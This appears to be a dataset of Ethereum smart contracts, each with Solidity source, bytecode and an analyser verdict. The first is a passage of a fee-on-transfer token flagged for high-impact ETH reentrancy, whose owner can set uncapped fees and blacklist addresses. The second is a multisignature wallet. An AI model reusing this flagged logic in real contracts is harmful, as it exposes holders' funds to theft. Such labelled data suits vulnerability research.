if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051b578063dd62ed3e1461053b578063ea1644d514610581578063f2fde38b146105a157600080fd5b8063a2a957bb14610496578063a9059cbb146104b6578063bfd79284146104d6578063c3c8cd801461050657600080fd5b80638f70ccf7116100d15780638f70ccf7146104135780638f9a55c01461043357806395d89b411461044957806398a5c3151461047657600080fd5b806374010ece146103bf5780637d1db4a5146103df5780638da5cb5b146103f557600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103555780636fc3eaec1461037557806370a082311461038a578063715018a6146103aa57600080fd5b8063313ce567146102f957806349bd5a5e146103155780636b9990531461033557600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c35780632fd689e3146102e357600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae5565b6105c1565b005b3480156101ff57600080fd5b506040805180820190915260098152684d6973616b61496e7560b81b60208201525b60405161022e9190611c0f565b60405180910390f35b34801561024357600080fd5b50610257610252366004611a3b565b61066e565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b50662386f26fc100005b60405190815260200161022e565b3480156102cf57600080fd5b506102576102de3660046119fb565b610685565b3480156102ef57600080fd5b506102b560185481565b34801561030557600080fd5b506040516009815260200161022e565b34801561032157600080fd5b50601554610287906001600160a01b031681565b34801561034157600080fd5b506101f161035036600461198b565b6106ee565b34801561036157600080fd5b506101f1610370366004611bac565b610739565b34801561038157600080fd5b506101f1610781565b34801561039657600080fd5b506102b56103a536600461198b565b6107cc565b3480156103b657600080fd5b506101f16107ee565b3480156103cb57600080fd5b506101f16103da366004611bc6565b610862565b3480156103eb57600080fd5b506102b560165481565b34801561040157600080fd5b506000546001600160a01b0316610287565b34801561041f57600080fd5b506101f161042e366004611bac565b610891565b34801561043f57600080fd5b506102b560175481565b34801561045557600080fd5b506040805180820190915260048152634d494e5560e01b6020820152610221565b34801561048257600080fd5b506101f1610491366004611bc6565b6108d9565b3480156104a257600080fd5b506101f16104b1366004611bde565b610908565b3480156104c257600080fd5b506102576104d1366004611a3b565b610946565b3480156104e257600080fd5b506102576104f136600461198b565b60106020526000908152604090205460ff1681565b34801561051257600080fd5b506101f1610953565b34801561052757600080fd5b506101f1610536366004611a66565b6109a7565b34801561054757600080fd5b506102b56105563660046119c3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058d57600080fd5b506101f161059c366004611bc6565b610a56565b3480156105ad57600080fd5b506101f16105bc36600461198b565b610a85565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611c62565b60405180910390fd5b60005b815181101561066a5760016010600084848151811061062657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066281611d75565b9150506105f7565b5050565b600061067b338484610b6f565b5060015b92915050565b6000610692848484610c93565b6106e484336106df85604051806060016040528060288152602001611dd2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cf565b610b6f565b5060019392505050565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016105eb90611c62565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107635760405162461bcd60e51b81526004016105eb90611c62565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b657506013546001600160a01b0316336001600160a01b0316145b6107bf57600080fd5b476107c981611209565b50565b6001600160a01b03811660009081526002602052604081205461067f9061128e565b6000546001600160a01b031633146108185760405162461bcd60e51b81526004016105eb90611c62565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105eb90611c62565b601655565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016105eb90611c62565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105eb90611c62565b601855565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016105eb90611c62565b600893909355600a91909155600955600b55565b600061067b338484610c93565b6012546001600160a01b0316336001600160a01b0316148061098857506013546001600160a01b0316336001600160a01b0316145b61099157600080fd5b600061099c306107cc565b90506107c981611312565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105eb90611c62565b60005b82811015610a50578160056000868685818110610a0157634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a16919061198b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4881611d75565b9150506109d4565b50505050565b6000546001600160a01b03163314610a805760405162461bcd60e51b81526004016105eb90611c62565b601755565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b81526004016105eb90611c62565b6001600160a01b038116610b145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105eb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610c325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610d595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b60008111610dbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105eb565b6000546001600160a01b03848116911614801590610de757506000546001600160a01b03838116911614155b156110c857601554600160a01b900460ff16610e80576000546001600160a01b03848116911614610e805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105eb565b601654811115610ed25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105eb565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1457506001600160a01b03821660009081526010602052604090205460ff16155b610f6c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105eb565b6015546001600160a01b03838116911614610ff15760175481610f8e846107cc565b610f989190611d07565b10610ff15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105eb565b6000610ffc306107cc565b6018546016549192508210159082106110155760165491505b80801561102c5750601554600160a81b900460ff16155b801561104657506015546001600160a01b03868116911614155b801561105b5750601554600160b01b900460ff165b801561108057506001600160a01b03851660009081526005602052604090205460ff16155b80156110a557506001600160a01b03841660009081526005602052604090205460ff16155b156110c5576110b382611312565b4780156110c3576110c347611209565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110a57506001600160a01b03831660009081526005602052604090205460ff165b8061113c57506015546001600160a01b0385811691161480159061113c57506015546001600160a01b03848116911614155b15611149575060006111c3565b6015546001600160a01b03858116911614801561117457506014546001600160a01b03848116911614155b1561118657600854600c55600954600d555b6015546001600160a01b0384811691161480156111b157506014546001600160a01b03858116911614155b156111c357600a54600c55600b54600d555b610a50848484846114b7565b600081848411156111f35760405162461bcd60e51b81526004016105eb9190611c0f565b5060006112008486611d5e565b95945050505050565b6012546001600160a01b03166108fc6112238360026114e5565b6040518115909202916000818181858888f1935050505015801561124b573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112668360026114e5565b6040518115909202916000818181858888f1935050505015801561066a573d6000803e3d6000fd5b60006006548211156112f55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b60006112ff611527565b905061130b83826114e5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bc57600080fd5b505afa1580156113d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f491906119a7565b8160018151811061141557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143b9130911684610b6f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611474908590600090869030904290600401611c97565b600060405180830381600087803b15801561148e57600080fd5b505af11580156114a2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c4576114c461154a565b6114cf848484611578565b80610a5057610a50600e54600c55600f54600d55565b600061130b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600080600061153461169d565b909250905061154382826114e5565b9250505090565b600c5415801561155a5750600d54155b1561156157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158a876116db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bc9087611738565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115eb908661177a565b6001600160a01b03891660009081526002602052604090205561160d816117d9565b6116178483611823565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165c91815260200190565b60405180910390a3505050505050505050565b600081836116905760405162461bcd60e51b81526004016105eb9190611c0f565b5060006112008486611d1f565b6006546000908190662386f26fc100006116b782826114e5565b8210156116d257505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116f88a600c54600d54611847565b9250925092506000611708611527565b9050600080600061171b8e87878761189c565b919e509c509a509598509396509194505050505091939550919395565b600061130b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cf565b6000806117878385611d07565b90508381101561130b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b60006117e3611527565b905060006117f183836118ec565b3060009081526002602052604090205490915061180e908261177a565b30600090815260026020526040902055505050565b6006546118309083611738565b600655600754611840908261177a565b6007555050565b6000808080611861606461185b89896118ec565b906114e5565b90506000611874606461185b8a896118ec565b9050600061188c826118868b86611738565b90611738565b9992985090965090945050505050565b60008080806118ab88866118ec565b905060006118b988876118ec565b905060006118c788886118ec565b905060006118d9826118868686611738565b939b939a50919850919650505050505050565b6000826118fb5750600061067f565b60006119078385611d3f565b9050826119148583611d1f565b1461130b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b803561197681611dbc565b919050565b8035801515811461197657600080fd5b60006020828403121561199c578081fd5b813561130b81611dbc565b6000602082840312156119b8578081fd5b815161130b81611dbc565b600080604083850312156119d5578081fd5b82356119e081611dbc565b915060208301356119f081611dbc565b809150509250929050565b600080600060608486031215611a0f578081fd5b8335611a1a81611dbc565b92506020840135611a2a81611dbc565b929592945050506040919091013590565b60008060408385031215611a4d578182fd5b8235611a5881611dbc565b946020939093013593505050565b600080600060408486031215611a7a578283fd5b833567ffffffffffffffff80821115611a91578485fd5b818601915086601f830112611aa4578485fd5b813581811115611ab2578586fd5b8760208260051b8501011115611ac6578586fd5b602092830195509350611adc918601905061197b565b90509250925092565b60006020808385031215611af7578182fd5b823567ffffffffffffffff80821115611b0e578384fd5b818501915085601f830112611b21578384fd5b813581811115611b3357611b33611da6565b8060051b604051601f19603f83011681018181108582111715611b5857611b58611da6565b604052828152858101935084860182860187018a1015611b76578788fd5b8795505b83861015611b9f57611b8b8161196b565b855260019590950194938601938601611b7a565b5098975050505050505050565b600060208284031215611bbd578081fd5b61130b8261197b565b600060208284031215611bd7578081fd5b5035919050565b60008060008060808587031215611bf3578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3b57858101830151858201604001528201611c1f565b81811115611c4c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce65784516001600160a01b031683529383019391830191600101611cc1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1a57611d1a611d90565b500190565b600082611d3a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5957611d59611d90565b500290565b600082821015611d7057611d70611d90565b500390565b6000600019821415611d8957611d89611d90565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e338791a4aca9482a348056ed862ff2587905ad840a5b140f656c0e1b91a26664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,622 |
0x029a868ee160d4f0f20a6b3c816f49b5f0b495b5
|
pragma solidity ^0.4.24;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
/// @dev Fallback function allows to deposit ether.
function() public
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txid = transactions[transactionId];
txid.executed = true;
if (txid.destination.call.value(txid.value)(txid.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txid.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract GameRewardMultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint256 public dailyLimit;
uint256 public lastDay;
uint256 public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
constructor(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
emit DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction storage txid = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || txid.data.length == 0 && isUnderLimit(txid.value)) {
txid.executed = true;
if (!confirmed)
spentToday += txid.value;
if (txid.destination.call.value(txid.value)(txid.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txid.executed = false;
if (!confirmed)
spentToday -= txid.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x6080604052600436106101535763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610195578063173825d9146101c957806320ea8d86146101ea5780632f54bf6e146102025780633411c81c146102375780634bc9fdc21461025b578063547415251461028257806367eeba0c146102a15780636b0c932d146102b65780637065cb48146102cb578063784547a7146102ec5780638b51d13f146103045780639ace38c21461031c578063a0e67e2b146103d7578063a8abe69a1461043c578063b5dc40c314610461578063b77bf60014610479578063ba51a6df1461048e578063c01a8c84146104a6578063c6427474146104be578063cea0862114610527578063d74f8edd1461053f578063dc8452cd14610554578063e20056e614610569578063ee22610b14610590578063f059cf2b146105a8575b60003411156101935760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b3480156101a157600080fd5b506101ad6004356105bd565b60408051600160a060020a039092168252519081900360200190f35b3480156101d557600080fd5b50610193600160a060020a03600435166105e5565b3480156101f657600080fd5b5061019360043561075c565b34801561020e57600080fd5b50610223600160a060020a0360043516610816565b604080519115158252519081900360200190f35b34801561024357600080fd5b50610223600435600160a06